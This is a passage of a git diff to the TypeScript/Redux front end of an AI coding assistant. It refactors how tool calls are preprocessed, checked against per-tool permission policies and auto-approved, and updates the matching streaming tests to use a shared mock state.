b/gui/src/redux/thunks/handleApplyStateUpdate.ts @@ -44,22 +44,24 @@ export const handleApplyStateUpdate = createAsyncThunk< // Handle apply status updates - use toolCallId from event payload if (applyState.toolCallId) { + const toolCallState = findToolCallById( + getState().session.history, + applyState.toolCallId, + ); + if ( applyState.status === "done" && - getState().config.config?.ui?.autoAcceptEditToolDiffs + toolCallState?.toolCall.function.name && + getState().ui.toolSettings[toolCallState.toolCall.function.name] === + "allowedWithoutPermission" ) { extra.ideMessenger.post("acceptDiff", { streamId: applyState.streamId, filepath: applyState.filepath, }); } - if (applyState.status === "closed") { - // Find the tool call to check if it was canceled - const toolCallState = findToolCallById( - getState().session.history, - applyState.toolCallId, - ); + if (applyState.status === "closed") { if (toolCallState) { const accepted = toolCallState.status !== "canceled"; diff --git a/gui/src/redux/thunks/preprocessToolCallArgs.ts b/gui/src/redux/thunks/preprocessToolCallArgs.ts new file mode 100644 index 000000000..be3f8c197 --- /dev/null +++ b/gui/src/redux/thunks/preprocessToolCallArgs.ts @@ -0,0 +1,72 @@ +import { ToolCallState } from "core"; +import { ContinueErrorReason } from "core/util/errors"; +import posthog from "posthog-js"; +import { IIdeMessenger } from "../../context/IdeMessenger"; +import { + errorToolCall, + setProcessedToolCallArgs, + updateToolCallOutput, +} from "../slices/sessionSlice"; +import { AppThunkDispatch } from "../store"; + +export async function preprocessToolCalls( + dispatch: AppThunkDispatch, + ideMessenger: IIdeMessenger, + generatedToolCalls: ToolCallState[], +): Promise { + // Tool call pre-processing + await Promise.all( + generatedToolCalls.map(async (tcState) => { + let errorReason: ContinueErrorReason | undefined = undefined; + let errorMessage: string | undefined = undefined; + let preprocessedArgs: Record | undefined = undefined; + const result = await ideMessenger.request("tools/preprocessArgs", { + toolName: tcState.toolCall.function.name, + args: tcState.parsedArgs, + }); + if (result.status === "success") { + preprocessedArgs = result.content.preprocessedArgs; + errorMessage = result.content.errorMessage; + errorReason = result.content.errorReason; + } else { + errorMessage = result.error; + errorReason = ContinueErrorReason.Unknown; + } + if (errorReason) { + posthog.capture("tool_call_outcome", { + // model: , TODO + succeeded: false, + toolName: tcState.toolCall.function.name, + errorReason, + duration_ms: 0, // preprocessing is more or less instantaneous + }); + dispatch( + errorToolCall({ + toolCallId: tcState.toolCallId, + }), + ); + dispatch( + updateToolCallOutput({ + toolCallId: tcState.toolCallId, + contextItems: [ + { + icon: "problems", + name: "Invalid Tool Call", + description: "", + content: `${tcState.toolCall.function.name} failed because the arguments were invalid, with the following message: ${errorMessage}\n\nPlease try something else or request further instructions.`, + hidden: false, + }, + ], + }), + ); + } else if (preprocessedArgs) { + dispatch( + setProcessedToolCallArgs({ + toolCallId: tcState.toolCallId, + newArgs: preprocessedArgs, + }), + ); + } + }), + ); +} diff --git a/gui/src/redux/thunks/session.ts b/gui/src/redux/thunks/session.ts index c2fe35c36..e89acb78f 100644 --- a/gui/src/redux/thunks/session.ts +++ b/gui/src/redux/thunks/session.ts @@ -1,5 +1,5 @@ import { createAsyncThunk, unwrapResult } from "@reduxjs/toolkit"; -import { ChatMessage, Session, BaseSessionMetadata } from "core"; +import { BaseSessionMetadata, ChatMessage, Session } from "core"; import { RemoteSessionMetadata } from "core/control-plane/client"; import { NEW_SESSION_TITLE } from "core/util/constants"; import { renderChatMessage } from "core/util/messageContent"; @@ -67,11 +67,7 @@ export const deleteSession = createAsyncThunk( dispatch(deleteSessionMetadata(id)); // optimistic const state = getState(); if (id === state.session.id) { - await dispatch( - loadLastSession({ - saveCurrentSession: false, - }), - ); + await dispatch(loadLastSession()); } const result = await extra.ideMessenger.request("history/delete", { id }); if (result.status === "error") { @@ -146,27 +142,31 @@ export const loadRemoteSession = createAsyncThunk< }, ); -export const loadLastSession = createAsyncThunk< - void, - { - saveCurrentSession: boolean; - }, - ThunkApiType ->( +export const loadLastSession = createAsyncThunk( "session/loadLast", - async ({ saveCurrentSession }, { extra, dispatch, getState }) => { - const state = getState(); + async (_, { extra, dispatch, getState }) => { + let lastSessionId = getState().session.lastSessionId; - if (state.session.id && saveCurrentSession) { - } - const lastSessionId = getState().session.lastSessionId; + // const lastSessionResult = await extra.ideMessenger.request("history/list", { + // limit: 1, + // }); + // if (lastSessionResult.status === "success") { + // lastSessionId = lastSessionResult.content.at(0)?.sessionId; + // } if (!lastSessionId) { dispatch(newSession()); return; } - const session = await getSession(extra.ideMessenger, lastSessionId); + let session: Session; + try { + session = await getSession(extra.ideMessenger, lastSessionId); + } catch { + // retry again after 1 sec + await new Promise((resolve) => setTimeout(resolve, 1000)); + session = await getSession(extra.ideMessenger, lastSessionId); + } dispatch(newSession(session)); }, ); diff --git a/gui/src/redux/thunks/streamNormalInput.ts b/gui/src/redux/thunks/streamNormalInput.ts index 1b86c9a91..dcd179d8b 100644 --- a/gui/src/redux/thunks/streamNormalInput.ts +++ b/gui/src/redux/thunks/streamNormalInput.ts @@ -1,14 +1,7 @@ -import { ToolPolicy } from "@continuedev/terminal-security"; import { createAsyncThunk, unwrapResult } from "@reduxjs/toolkit"; -import { - LLMFullCompletionOptions, - ModelDescription, - Tool, - ToolCallState, -} from "core"; +import { LLMFullCompletionOptions, ModelDescription } from "core"; import { getRuleId } from "core/llm/rules/getSystemMessageWithRules"; import { ToCoreProtocol } from "core/protocol"; -import { IIdeMessenger } from "../../context/IdeMessenger"; import { selectActiveTools } from "../selectors/selectActiveTools"; import { selectSelectedChatModel } from "../slices/configSlice"; import { @@ -23,174 +16,24 @@ import { setIsPruned, setToolGenerated, streamUpdate, - updateToolCallOutput, } from "../slices/sessionSlice"; -import { AppThunkDispatch, RootState, ThunkApiType } from "../store"; +import { ThunkApiType } from "../store"; import { constructMessages } from "../util/constructMessages"; import { modelSupportsNativeTools } from "core/llm/toolSupport"; import { addSystemMessageToolsToSystemMessage } from "core/tools/systemMessageTools/buildToolsSystemMessage"; import { interceptSystemToolCalls } from "core/tools/systemMessageTools/interceptSystemToolCalls"; import { SystemMessageToolCodeblocksFramework } from "core/tools/systemMessageTools/toolCodeblocks"; -import { selectCurrentToolCalls } from "../selectors/selectToolCalls"; -import { DEFAULT_TOOL_SETTING } from "../slices/uiSlice"; +import posthog from "posthog-js"; +import { + selectCurrentToolCalls, + selectPendingToolCalls, +} from "../selectors/selectToolCalls"; import { getBaseSystemMessage } from "../util/getBaseSystemMessage"; import { callToolById } from "./callToolById"; -import { enhanceParsedArgs } from "./enhanceParsedArgs"; - -/** - * Evaluates the tool policy for a tool call, including dynamic policy evaluation - */ -async function evaluateToolPolicy( - toolCallState: ToolCallState, - toolSettings: Record, - activeTools: Tool[], - ideMessenger: IIdeMessenger, -): Promise<{ policy: ToolPolicy; displayValue?: string }> { - const basePolicy = - toolSettings[toolCallState.toolCall.function.name] ?? - activeTools.find( - (tool) => tool.function.name === toolCallState.toolCall.function.name, - )?.defaultToolPolicy ?? - DEFAULT_TOOL_SETTING; - - // Use already parsed arguments - const parsedArgs = toolCallState.parsedArgs || {}; - - let result; - try { - result = await ideMessenger.request("tools/evaluatePolicy", { - toolName: toolCallState.toolCall.function.name, - basePolicy, - args: parsedArgs, - }); - } catch (error) { - // If request fails, return disabled - return { policy: "disabled" }; - } - - // Evaluate the policy dynamically - if (!result || result.status === "error") { - // If evaluation fails, treat as disabled - return { policy: "disabled" }; - } - - const dynamicPolicy = result.content.policy; - const displayValue = result.content.displayValue; - - // Ensure dynamic policy cannot be more lenient than base policy - // Policy hierarchy (most restrictive to least): disabled > allowedWithPermission > allowedWithoutPermission - if (basePolicy === "disabled") { - return { policy: "disabled", displayValue }; // Cannot override disabled - } - if ( - basePolicy === "allowedWithPermission" && - dynamicPolicy === "allowedWithoutPermission" - ) { - return { policy: "allowedWithPermission", displayValue }; // Cannot make more lenient - } - - return { policy: dynamicPolicy, displayValue }; -} - -/** - * Handles the execution of tool calls that may be automatically accepted. - * Sets all tools as generated first, then executes auto-approved tool calls. - */ -async function handleToolCallExecution( - dispatch: AppThunkDispatch, - getState: () => RootState, - activeTools: Tool[], - ideMessenger: IIdeMessenger, -): Promise { - // Return whether all tools were auto-approved - const newState = getState(); - const toolSettings = newState.ui.toolSettings; - const allToolCallStates = selectCurrentToolCalls(newState); - - // Only process tool calls that are in "generating" status (newly created during this streaming session) - const toolCallStates = allToolCallStates.filter( - (toolCallState) => toolCallState.status === "generating", - ); - - // If no generating tool calls, nothing to process - if (toolCallStates.length === 0) { - return false; // No tools to process, need to set inactive - } - - // Check if ALL tool calls are auto-approved using dynamic evaluation - const policyResults = await Promise.all( - toolCallStates.map((toolCallState) => - evaluateToolPolicy( - toolCallState, - toolSettings, - activeTools, - ideMessenger, - ), - ), - ); - - // Handle disabled tool calls and set others as generated - const autoApprovedResults = await Promise.all( - toolCallStates.map(async (toolCallState, index) => { - const { policy, displayValue } = policyResults[index]; - - if (policy === "disabled") { - // Mark as errored instead of generated - dispatch(errorToolCall({ toolCallId: toolCallState.toolCallId })); - - // Use the displayValue from the policy evaluation, or fallback to function name - const command = displayValue || toolCallState.toolCall.function.name; - - // Add error message explaining why it's disabled - dispatch( - updateToolCallOutput({ - toolCallId: toolCallState.toolCallId, - contextItems: [ - { - icon: "problems", - name: "Security Policy Violation", - description: "Command Disabled", - content: `This command has been disabled by security policy:\n\n${command}\n\nThis command cannot be executed as it may pose a security risk.`, - hidden: false, - }, - ], - }), - ); - return false; - } else { - // Set as generated for non-disabled tools - dispatch( - setToolGenerated({ - toolCallId: toolCallState.toolCallId, - tools: newState.config.config.tools, - }), - ); - return policy === "allowedWithoutPermission"; - } - }), - ); - - const allAutoApproved = autoApprovedResults.every(Boolean); - - // Only run if we have auto-approve for all non-disabled tools - if (allAutoApproved && toolCallStates.length > 0) { - const nonDisabledToolCalls = toolCallStates.filter( - (_, index) => policyResults[index].policy !== "disabled", - ); - - const toolCallPromises = nonDisabledToolCalls.map(async (toolCallState) => { - const response = await dispatch( - callToolById({ toolCallId: toolCallState.toolCallId }), - ); - unwrapResult(response); - }); - - await Promise.all(toolCallPromises); - } - - return allAutoApproved; -} +import { evaluateToolPolicies } from "./evaluateToolPolicies"; +import { preprocessToolCalls } from "./preprocessToolCallArgs"; +import { streamResponseAfterToolCall } from "./streamResponseAfterToolCall"; /** * Builds completion options with reasoning configuration based on session state and model capabilities. @@ -228,11 +71,20 @@ export const streamNormalInput = createAsyncThunk< void, { legacySlashCommandData?: ToCoreProtocol["llm/streamChat"][0]["legacySlashCommandData"]; + depth?: number; }, ThunkApiType >( "chat/streamNormalInput", - async ({ legacySlashCommandData }, { dispatch, extra, getState }) => { + async ( + { legacySlashCommandData, depth = 0 }, + { dispatch, extra, getState }, + ) => { + if (process.env.NODE_ENV === "test" && depth > 50) { + const message = `Max stream depth of ${50} reached in test`; + console.error(message, JSON.stringify(getState(), null, 2)); + throw new Error(message); + } const state = getState(); const selectedChatModel = selectSelectedChatModel(state); @@ -327,93 +179,188 @@ export const streamNormalInput = createAsyncThunk< dispatch(setIsPruned(didPrune)); dispatch(setContextPercentage(contextPercentage)); - // Send request and stream response + const start = Date.now(); const streamAborter = state.session.streamAborter; - let gen = extra.ideMessenger.llmStreamChat( - { - completionOptions, - title: selectedChatModel.title, - messages: compiledChatMessages, - legacySlashCommandData, - messageOptions: { precompiled: true }, - }, - streamAborter.signal, - ); - if (systemToolsFramework && activeTools.length > 0) { - gen = interceptSystemToolCalls(gen, streamAborter, systemToolsFramework); - } - - let next = await gen.next(); - while (!next.done) { - if (!getState().session.isStreaming) { - dispatch(abortStream()); - break; + try { + let gen = extra.ideMessenger.llmStreamChat( + { + completionOptions, + title: selectedChatModel.title, + messages: compiledChatMessages, + legacySlashCommandData, + messageOptions: { precompiled: true }, + }, + streamAborter.signal, + ); + if (systemToolsFramework && activeTools.length > 0) { + gen = interceptSystemToolCalls( + gen, + streamAborter, + systemToolsFramework, + ); } - dispatch(streamUpdate(next.value)); - next = await gen.next(); - } + let next = await gen.next(); + while (!next.done) { + if (!getState().session.isStreaming) { + dispatch(abortStream()); + break; + } - // Attach prompt log and end thinking for reasoning models - if (next.done && next.value) { - dispatch(addPromptCompletionPair([next.value])); + dispatch(streamUpdate(next.value)); + next = await gen.next(); + } - try { - extra.ideMessenger.post("devdata/log", { - name: "chatInteraction", - data: { - prompt: next.value.prompt, - completion: next.value.completion, - modelProvider: selectedChatModel.underlyingProviderName, - modelName: selectedChatModel.title, - modelTitle: selectedChatModel.title, - sessionId: state.session.id, - ...(!!activeTools.length && { - tools: activeTools.map((tool) => tool.function.name), + // Attach prompt log and end thinking for reasoning models + if (next.done && next.value) { + dispatch(addPromptCompletionPair([next.value])); + + try { + extra.ideMessenger.post("devdata/log", { + name: "chatInteraction", + data: { + prompt: next.value.prompt, + completion: next.value.completion, + modelProvider: selectedChatModel.underlyingProviderName, + modelName: selectedChatModel.title, + modelTitle: selectedChatModel.title, + sessionId: state.session.id, + ...(!!activeTools.length && { + tools: activeTools.map((tool) => tool.function.name), + }), + ...(appliedRules.length > 0 && { + rules: appliedRules.map((rule) => ({ + id: getRuleId(rule), + slug: rule.slug, + })), + }), + }, + }); + } catch (e) { + console.error("Failed to send dev data interaction log", e); + } + } + } catch (e) { + const toolCallsToCancel = selectCurrentToolCalls(getState()); + posthog.capture("stream_premature_close_error", { + duration: (Date.now() - start) / 1000, + model: selectedChatModel.model, + provider: selectedChatModel.underlyingProviderName, + context: legacySlashCommandData ? "slash_command" : "regular_chat", + ...(legacySlashCommandData && { + command: legacySlashCommandData.command.name, + }), + }); + if ( + toolCallsToCancel.length > 0 && + e instanceof Error && + e.message.toLowerCase().includes("premature close") + ) { + for (const tc of toolCallsToCancel) { + dispatch( + errorToolCall({ + toolCallId: tc.toolCallId, + output: [ + { + name: "Tool Call Error", + description: "Premature Close", + content: `"Premature Close" error: this tool call was aborted mid-stream because the arguments took too long to stream or there were network issues. Please re-attempt by breaking the operation into smaller chunks or trying something else`, + icon: "problems", + }, + ], }), - ...(appliedRules.length > 0 && { - rules: appliedRules.map((rule) => ({ - id: getRuleId(rule), - rule: rule.rule, - slug: rule.slug, - })), - }), - }, - }); - } catch (e) { - console.error("Failed to send dev data interaction log", e); + ); + } + } else { + throw e; } } - // Check if we have any tool calls that were just generated - const newState = getState(); - const toolSettings = newState.ui.toolSettings; - const allToolCallStates = selectCurrentToolCalls(newState); - - await Promise.all( - allToolCallStates.map((tcState) => - enhanceParsedArgs( - extra.ideMessenger, - dispatch, - tcState?.toolCall.function.name, - tcState.toolCallId, - tcState.parsedArgs, - ), - ), + // Tool call sequence: + // 1. Mark generating tool calls as generated + const state1 = getState(); + if (streamAborter.signal.aborted || !state1.session.isStreaming) { + return; + } + const originalToolCalls = selectCurrentToolCalls(state1); + const generatingCalls = originalToolCalls.filter( + (tc) => tc.status === "generating", ); + for (const { toolCallId } of generatingCalls) { + dispatch( + setToolGenerated({ + toolCallId, + tools: state1.config.config.tools, + }), + ); + } - // Handle tool call execution if there are any generating tool calls - const allAutoApproved = await handleToolCallExecution( + // 2. Pre-process args to catch invalid args before checking policies + const state2 = getState(); + if (streamAborter.signal.aborted || !state2.session.isStreaming) { + return; + } + const generatedCalls2 = selectPendingToolCalls(state2); + await preprocessToolCalls(dispatch, extra.ideMessenger, generatedCalls2); + + // 3. Security check: evaluate updated policies based on args + const state3 = getState(); + if (streamAborter.signal.aborted || !state3.session.isStreaming) { + return; + } + const generatedCalls3 = selectPendingToolCalls(state3); + const toolPolicies = state3.ui.toolSettings; + const policies = await evaluateToolPolicies( dispatch, - getState, - activeTools, extra.ideMessenger, + activeTools, + generatedCalls3, + toolPolicies, + ); + const anyRequireApproval = policies.find( + ({ policy }) => policy === "allowedWithPermission", ); + // 4. Execute remaining tool calls // Only set inactive if not all tools were auto-approved // This prevents UI flashing for auto-approved tools - if (!allAutoApproved) { + if (originalToolCalls.length === 0 || anyRequireApproval) { dispatch(setInactive()); + } else { + // auto stream cases increase thunk depth by 1 for debugging + const state4 = getState(); + const generatedCalls4 = selectPendingToolCalls(state4); + if (streamAborter.signal.aborted || !state4.session.isStreaming) { + return; + } + if (generatedCalls4.length > 0) { + // All that didn't fail are auto approved - call them + await Promise.all( + generatedCalls4.map(async ({ toolCallId }) => { + unwrapResult( + await dispatch( + callToolById({ + toolCallId, + isAutoApproved: true, + depth: depth + 1, + }), + ), + ); + }), + ); + } else { + // All failed - stream on + for (const { toolCallId } of originalToolCalls) { + unwrapResult( + await dispatch( + streamResponseAfterToolCall({ + toolCallId, + depth: depth + 1, + }), + ), + ); + } + } } }, ); diff --git a/gui/src/redux/thunks/streamResponse.test.ts b/gui/src/redux/thunks/streamResponse.test.ts index 3a43d979d..8b37cf889 100644 --- a/gui/src/redux/thunks/streamResponse.test.ts +++ b/gui/src/redux/thunks/streamResponse.test.ts @@ -1,7 +1,12 @@ import { JSONContent } from "@tiptap/core"; -import { InputModifiers } from "core"; +import { + AssistantChatMessage, + ChatMessage, + InputModifiers, + PromptLog, +} from "core"; import { describe, expect, it, vi } from "vitest"; -import { createMockStore } from "../../util/test/mockStore"; +import { createMockStore, getEmptyRootState } from "../../util/test/mockStore"; import { streamResponseThunk } from "./streamResponse"; // Mock external dependencies only - let selectors run naturally @@ -37,8 +42,11 @@ vi.mock( ); import { ModelDescription } from "core"; +import { serializeTool } from "core/tools"; +import { grepSearchTool } from "core/tools/definitions"; import posthog from "posthog-js"; import { resolveEditorContent } from "../../components/mainInput/TipTapEditor/utils/resolveEditorContent"; +import { RootState } from "../store"; const mockGetBaseSystemMessage = vi.mocked(getBaseSystemMessage); @@ -70,11 +78,25 @@ const mockModifiers: InputModifiers = { noContext: false, }; -function setupTest() { +export function getRootStateWithClaude(): RootState { + const state = getEmptyRootState(); + return { + ...state, + config: { + ...state.config, + config: { + ...state.config.config, + selectedModelByRole: { + ...state.config.config.selectedModelByRole, + chat: mockClaudeModel, + }, + }, + }, + }; +} + +beforeEach(() => { vi.clearAllMocks(); - - // Default mock implementations for external functions - // Default mock for resolveEditorContent (can be overridden in individual tests) mockResolveEditorContent.mockResolvedValue({ selectedContextItems: [], @@ -85,114 +107,47 @@ function setupTest() { // Mock getBaseSystemMessage to return simple system message for readable tests mockGetBaseSystemMessage.mockReturnValue("You are a helpful assistant."); - - // Create store with realistic state that selectors can work with - const mockStore = createMockStore({ - session: { - history: [ - { - message: { id: "1", role: "user", content: "Hello" }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: {}, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); - - const mockIdeMessenger = mockStore.mockIdeMessenger; - - return { mockStore, mockIdeMessenger }; -} +}); describe("streamResponseThunk", () => { it("should execute complete streaming flow with all dispatches", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); + const initialState = getRootStateWithClaude(); + initialState.session.history = [ + { + message: { id: "1", role: "user", content: "Hello" }, + contextItems: [], + }, + ]; + initialState.session.id = "session-123"; + const mockStore = createMockStore(initialState); + const mockIdeMessenger = mockStore.mockIdeMessenger; - // Mock all necessary IDE messenger calls - mockIdeMessenger.request.mockImplementation((endpoint: string) => { - if (endpoint === "llm/compileChat") { - return Promise.resolve({ - status: "success", - content: { - compiledChatMessages: [{ role: "user", content: "Hello" }], - didPrune: false, - contextPercentage: 0.8, - }, - }); - } else if (endpoint === "history/save") { - return Promise.resolve({ status: "success" }); - } else if (endpoint === "session/refreshMetadata") { - return Promise.resolve({ - status: "success", - content: { - compiledChatMessages: [{ role: "user", content: "Hello" }], - didPrune: false, - contextPercentage: 0.8, - }, - }); - } - return Promise.resolve({ status: "success", content: {} }); - }); + mockIdeMessenger.responses["llm/compileChat"] = { + compiledChatMessages: [{ role: "user", content: "Hello" }], + didPrune: false, + contextPercentage: 0.8, + }; + const requestSpy = vi.spyOn(mockIdeMessenger, "request"); + const postSpy = vi.spyOn(mockIdeMessenger, "post"); // Setup streaming generator - async function* mockStreamGenerator() { + async function* mockStreamGenerator(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [{ role: "assistant", content: "First chunk" }]; yield [{ role: "assistant", content: "Second chunk" }]; return { prompt: "Hello", completion: "Hi there!", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } - mockIdeMessenger.llmStreamChat.mockReturnValue(mockStreamGenerator()); + const mockStreamChat = vi.fn(); + mockStreamChat.mockReturnValue(mockStreamGenerator()); + mockIdeMessenger.llmStreamChat = mockStreamChat; // Execute thunk const result = await mockStore.dispatch( @@ -203,7 +158,7 @@ describe("streamResponseThunk", () => { ); // Verify exact sequence of dispatched actions with payloads - const dispatchedActions = (mockStore as any).getActions(); + const dispatchedActions = mockStore.getActions(); expect(dispatchedActions).toEqual([ { @@ -318,6 +273,7 @@ describe("streamResponseThunk", () => { prompt: "Hello", completion: "Hi there!", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }, ], }, @@ -352,7 +308,7 @@ describe("streamResponseThunk", () => { type: "session/updateSessionMetadata", payload: { sessionId: "session-123", - title: "New Session", + title: "Session summary", }, }, { @@ -368,14 +324,14 @@ describe("streamResponseThunk", () => { }, { type: "session/setAllSessionMetadata", - payload: {}, + payload: [], }, { type: "session/refreshMetadata/fulfilled", meta: expect.objectContaining({ requestStatus: "fulfilled", }), - payload: {}, + payload: [], }, { type: "session/update/fulfilled", @@ -410,7 +366,7 @@ describe("streamResponseThunk", () => { ]); // Verify IDE messenger calls - expect(mockIdeMessenger.request).toHaveBeenCalledWith("llm/compileChat", { + expect(requestSpy).toHaveBeenCalledWith("llm/compileChat", { messages: [ { role: "system", @@ -435,16 +391,12 @@ describe("streamResponseThunk", () => { ], }, ], - options: { - reasoning: false, - }, + options: {}, }); expect(mockIdeMessenger.llmStreamChat).toHaveBeenCalledWith( { - completionOptions: { - reasoning: false, - }, + completionOptions: {}, legacySlashCommandData: undefined, messageOptions: { precompiled: true }, messages: [ @@ -459,7 +411,7 @@ describe("streamResponseThunk", () => { ); // Verify dev data logging call - expect(mockIdeMessenger.post).toHaveBeenCalledWith("devdata/log", { + expect(postSpy).toHaveBeenCalledWith("devdata/log", { name: "chatInteraction", data: { prompt: "Hello", @@ -472,17 +424,21 @@ describe("streamResponseThunk", () => { }); // Verify session save was called - expect(mockIdeMessenger.request).toHaveBeenCalledWith( - "history/save", - expect.anything(), - ); + expect(requestSpy).toHaveBeenCalledWith("history/save", expect.anything()); expect(result.type).toBe("chat/streamResponse/fulfilled"); // Verify final state after thunk completion const finalState = mockStore.getState(); expect(finalState).toEqual({ + ...initialState, session: { + ...initialState.session, + streamAborter: expect.any(AbortController), + title: "Session summary", + isPruned: false, + inlineErrorMessage: undefined, + contextPercentage: 0.8, history: [ { contextItems: [], @@ -511,208 +467,72 @@ describe("streamResponseThunk", () => { completion: "Hi there!", modelProvider: "anthropic", prompt: "Hello", + modelTitle: "Claude 3.5 Sonnet", }, ], }, ], - hasReasoningEnabled: false, - isStreaming: false, - id: "session-123", - mode: "chat", - streamAborter: expect.any(AbortController), - contextPercentage: 0.8, - isPruned: false, - isInEdit: false, - title: "New Session", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: {}, - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - loading: false, - configError: undefined, - }, - ui: { - toolSettings: {}, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, }, }); }); it("should execute streaming flow with tool call execution", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); - // Set up auto-approved tool setting for our test tool - const mockStoreWithToolSettings = createMockStore({ - session: { - history: [ - { - message: { - id: "1", - role: "user", - content: "Please search the codebase", - }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, + const stateWithToolSettings = getRootStateWithClaude(); + stateWithToolSettings.session.history = [ + { + message: { + id: "1", + role: "user", + content: "Please search the codebase", }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, + contextItems: [], }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: { - search_codebase: "allowedWithoutPermission", // Auto-approve this tool - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); + ]; + const grepTool = serializeTool(grepSearchTool); + const grepName = grepTool.function.name; + stateWithToolSettings.config.config.tools = [grepTool]; + + stateWithToolSettings.ui.toolSettings = { + [grepName]: "allowedWithoutPermission", // Auto-approve this tool + }; + stateWithToolSettings.session.id = "session-123"; + const mockStoreWithToolSettings = createMockStore(stateWithToolSettings); const mockIdeMessengerWithTool = mockStoreWithToolSettings.mockIdeMessenger; // Setup successful compilation and tool responses - mockIdeMessengerWithTool.request.mockImplementation( - (endpoint: string, data: any) => { - if (endpoint === "llm/compileChat") { - return Promise.resolve({ - status: "success", - content: { - compiledChatMessages: [ - { role: "user", content: "Please search the codebase" }, - ], - didPrune: false, - contextPercentage: 0.9, - }, - }); - } else if (endpoint === "tools/evaluatePolicy") { - // Mock dynamic policy evaluation - return auto-approve for this test - return Promise.resolve({ - status: "success", - content: { policy: "allowedWithoutPermission" }, - }); - } else if (endpoint === "tools/call") { - // Mock server-side tool call response - return Promise.resolve({ - status: "success", - content: { - contextItems: [ - { - name: "Search Results", - description: "Found 3 matches", - content: "Result 1\nResult 2\nResult 3", - icon: "search", - hidden: false, - }, - ], - errorMessage: undefined, - }, - }); - } else if (endpoint === "history/save") { - // Mock session save - return Promise.resolve({ status: "success" }); - } else if (endpoint === "history/list") { - return Promise.resolve({ status: "success", content: [] }); - } - // Let other endpoints pass through or return success - return Promise.resolve({ status: "success", content: {} }); - }, - ); + mockIdeMessengerWithTool.responses["llm/compileChat"] = { + compiledChatMessages: [ + { role: "user", content: "Please search the codebase" }, + ], + didPrune: false, + contextPercentage: 0.9, + }; + mockIdeMessengerWithTool.responses["tools/call"] = { + contextItems: [ + { + name: "Search Results", + description: "Found 3 matches", + content: "Result 1\nResult 2\nResult 3", + icon: "search", + hidden: false, + }, + ], + errorMessage: undefined, + }; + const requestSpy = vi.spyOn(mockIdeMessengerWithTool, "request"); // Setup streaming generator with tool call - async function* mockStreamGeneratorWithTool() { + async function* mockStreamGeneratorWithTool(): AsyncGenerator< + ChatMessage[], + PromptLog + > { yield [ - { role: "assistant", content: "I'll search the codebase for you." }, + { + role: "assistant", + content: "I'll search the codebase for you.", + }, ]; yield [ { @@ -723,7 +543,7 @@ describe("streamResponseThunk", () => { id: "tool-call-1", type: "function", function: { - name: "search_codebase", + name: grepTool.function.name, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -734,29 +554,35 @@ describe("streamResponseThunk", () => { prompt: "Please search the codebase", completion: "I'll search the codebase for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } // Mock different streaming responses for multiple calls let streamCallCount = 0; - mockIdeMessengerWithTool.llmStreamChat.mockImplementation(() => { + const mockStreamChat = vi.fn().mockImplementation(() => { streamCallCount++; if (streamCallCount === 1) { // First call - main streaming with tool call return mockStreamGeneratorWithTool(); } else { // Subsequent calls from streamResponseAfterToolCall - return minimal response - async function* simpleGenerator() { + async function* simpleGenerator(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [{ role: "assistant", content: "Search completed." }]; return { prompt: "continuing after tool", completion: "Search completed.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } return simpleGenerator(); } }); + mockIdeMessengerWithTool.llmStreamChat = mockStreamChat; // Execute thunk const result = await mockStoreWithToolSettings.dispatch( @@ -767,7 +593,7 @@ describe("streamResponseThunk", () => { ); // Verify key actions are dispatched (tool calls trigger a complex cascade, so we verify key actions exist) - const dispatchedActions = (mockStoreWithToolSettings as any).getActions(); + const dispatchedActions = mockStoreWithToolSettings.getActions(); // Verify exact action sequence const actionTypes = 